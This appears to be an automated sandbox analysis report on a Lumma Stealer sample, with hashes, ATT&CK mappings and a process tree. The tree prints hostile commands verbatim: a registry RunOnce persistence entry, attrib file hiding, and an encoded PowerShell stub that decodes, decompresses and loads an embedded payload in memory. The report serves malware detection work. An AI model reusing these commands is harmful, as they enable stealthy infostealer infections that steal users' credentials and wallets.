lumma | d3ec28c089d98942413d9d197ff38b0bd2c336df708564307467edb58f23ea37

Analysis

max time kernel
139s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
21/03/2023, 10:42

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General

Target
particovl.bat
Size 699.1MB
Sample230321-mrpgrabg91
SHA256 4049b93a33911701f2b975d19db0f91e4ae70ccbeee83a93f3352aa76a0152d8
MD5 85e4843ddbeb2ef9a3cdea6497bbdfa9
SHA1 5556ac2aa0d52daa7240877e6df1b60d3969ecec
SHA512 6c875856504f70ac80912f88e61fd67e9e37e0001d4c0a3c1f6703f69f0e3194142b6c93d941a85d2d721e53a2c1c2e1c59665ccd8fbb803419388d1908e8684
SSDEEP 384:Yi56N+inFXIvK0NgMzIR9tFhnvOTSMnZdqEoyZZd5hJUvCUvcmS/lggNbQRq55en:8X+K8xwvWSpmZ5emKAbJ55hz0h
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

lumma evasion persistence spyware stealer

Malware Config

Signatures

Lumma Stealer
An infostealer written in C++ first seen in August 2022.
stealer lumma

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1158

pid	Process
3924	attrib.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	particovl.bat.exe

Executes dropped EXE 2 IoCs

pid	Process
4640	particovl.bat.exe
4676	particovl.bat.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\particovl = "C:\\Users\\Admin\\AppData\\Roaming\\particovl.bat"	reg.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4640 set thread context of 4676	4640	particovl.bat.exe	104

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4640	particovl.bat.exe
4640	particovl.bat.exe
1584	powershell.exe
1584	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4640	particovl.bat.exe
Token: SeDebugPrivilege	1584	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 4296 wrote to memory of 4076	4296	cmd.exe	87
PID 4296 wrote to memory of 4076	4296	cmd.exe	87
PID 4296 wrote to memory of 3924	4296	cmd.exe	88
PID 4296 wrote to memory of 3924	4296	cmd.exe	88
PID 4296 wrote to memory of 4640	4296	cmd.exe	91
PID 4296 wrote to memory of 4640	4296	cmd.exe	91
PID 4296 wrote to memory of 4640	4296	cmd.exe	91
PID 4640 wrote to memory of 1584	4640	particovl.bat.exe	102
PID 4640 wrote to memory of 1584	4640	particovl.bat.exe	102
PID 4640 wrote to memory of 1584	4640	particovl.bat.exe	102
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	104
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	104
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	104
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	104
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	104
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	104
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	104
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	104
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	104
PID 4640 wrote to memory of 4676	4640	particovl.bat.exe	104
PID 4296 wrote to memory of 2260	4296	cmd.exe	105
PID 4296 wrote to memory of 2260	4296	cmd.exe	105

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
3924	attrib.exe
2260	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\particovl.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4296
- C:\Windows\system32\reg.exe
  reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v particovl /d "C:\Users\Admin\AppData\Roaming\particovl.bat"
  2⤵
  - Adds Run key to start application
  PID:4076
- C:\Windows\system32\attrib.exe
  attrib +s +h C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:3924
- C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
  C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgABmVKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwAZlScAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAbQBlAHQAaABvAGQASQBuAGYAbwAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAaQBuAHMAdABhAG4AYwBlACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAJABtAGUAdABoAG8AZABJAG4AZgBvAC4ATgBhAG0AZQApADsAIAAkAG0AZQB0AGgAbwBkAEkAbgBmAG8ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1584
- - C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
    C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
    3⤵
    - Executes dropped EXE
    PID:4676
- C:\Windows\system32\attrib.exe
  attrib -s -h C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
  2⤵
  - Views/modifies file attributes
  PID:2260

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba
MD5 06ad34f9739c5159b4d92d702545bd49
SHA1 9152a0d4f153f3f40f7e606be75f81b582ee0c17
SHA512 c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92
SSDEEP 1536:q5C+jH04tAHkCSMrxyNhftflJdPYoFi3j39MVvjMLUsszyhMUp7Fv+Eca5b/h4ie:KC+jH04tAHk5MrxyNhftflJdPYoFi3jc
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 bbd35c22ee7ff7375e563b8fc9e4b6756880bfee860f19f1bd94863ddc64759b
MD5 15f8250d33bccc905343f7516361bf66
SHA1 0f1f376343d02ffb6c57d43e39d12bbab11ceff2
SHA512 bca58c05db0d08b2b0a4f7ab445739e8686e8caaf297f283acc3f763c3aed61b195f7b1b1c7500e0fc5cfd9d1fd4f2414145a2bb24e32f1e71adb08e22a6cdea
SSDEEP 384:Jrf+iY9p+wDaA60ipdsX9Fi6h9A6f6seYkzxxM/2hC3SoeZtK3lnvE4n+80aN1XU:BfE7uy9F9h9A6gbTM+wSzOvE49t1EV
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_hp4y3om0.xf1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hp4y3om0.xf1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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particovl.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
Size 423KB
SHA256 73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
MD5 c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1 f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA512 6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
SSDEEP 6144:MF45pGVc4sqEoWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:95pGVcwW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

particovl.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
Size 423KB
SHA256 73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
MD5 c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1 f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA512 6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
SSDEEP 6144:MF45pGVc4sqEoWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:95pGVcwW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

particovl.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\particovl.bat.exe
Size 423KB
SHA256 73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
MD5 c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1 f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA512 6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
SSDEEP 6144:MF45pGVc4sqEoWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:95pGVcwW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1584-176-0x0000000004F60000-0x0000000004F70000-memory.dmp

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memory/1584-175-0x0000000004F60000-0x0000000004F70000-memory.dmp

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memory/1584-173-0x0000000004F60000-0x0000000004F70000-memory.dmp

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memory/4640-144-0x0000000005340000-0x00000000053A6000-memory.dmp

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memory/4640-145-0x0000000005460000-0x00000000054C6000-memory.dmp

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memory/4640-156-0x0000000005010000-0x0000000005020000-memory.dmp

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memory/4640-157-0x0000000007880000-0x0000000007EFA000-memory.dmp

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memory/4640-158-0x0000000006670000-0x000000000668A000-memory.dmp

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memory/4640-160-0x0000000005010000-0x0000000005020000-memory.dmp

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memory/4640-159-0x0000000005010000-0x0000000005020000-memory.dmp

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memory/4640-161-0x0000000005010000-0x0000000005020000-memory.dmp

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memory/4640-163-0x0000000007150000-0x000000000718C000-memory.dmp

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memory/4640-155-0x0000000006140000-0x000000000615E000-memory.dmp

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memory/4640-143-0x00000000052A0000-0x00000000052C2000-memory.dmp

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memory/4640-142-0x0000000005650000-0x0000000005C78000-memory.dmp

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memory/4640-141-0x0000000005010000-0x0000000005020000-memory.dmp

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memory/4640-139-0x0000000002C60000-0x0000000002C96000-memory.dmp

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memory/4640-140-0x0000000005010000-0x0000000005020000-memory.dmp

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memory/4676-179-0x0000000000400000-0x0000000000507000-memory.dmp

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memory/4676-183-0x0000000000400000-0x0000000000507000-memory.dmp

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memory/4676-185-0x0000000000400000-0x0000000000507000-memory.dmp

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memory/4676-186-0x0000000000400000-0x0000000000507000-memory.dmp

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memory/4676-187-0x0000000000400000-0x0000000000507000-memory.dmp

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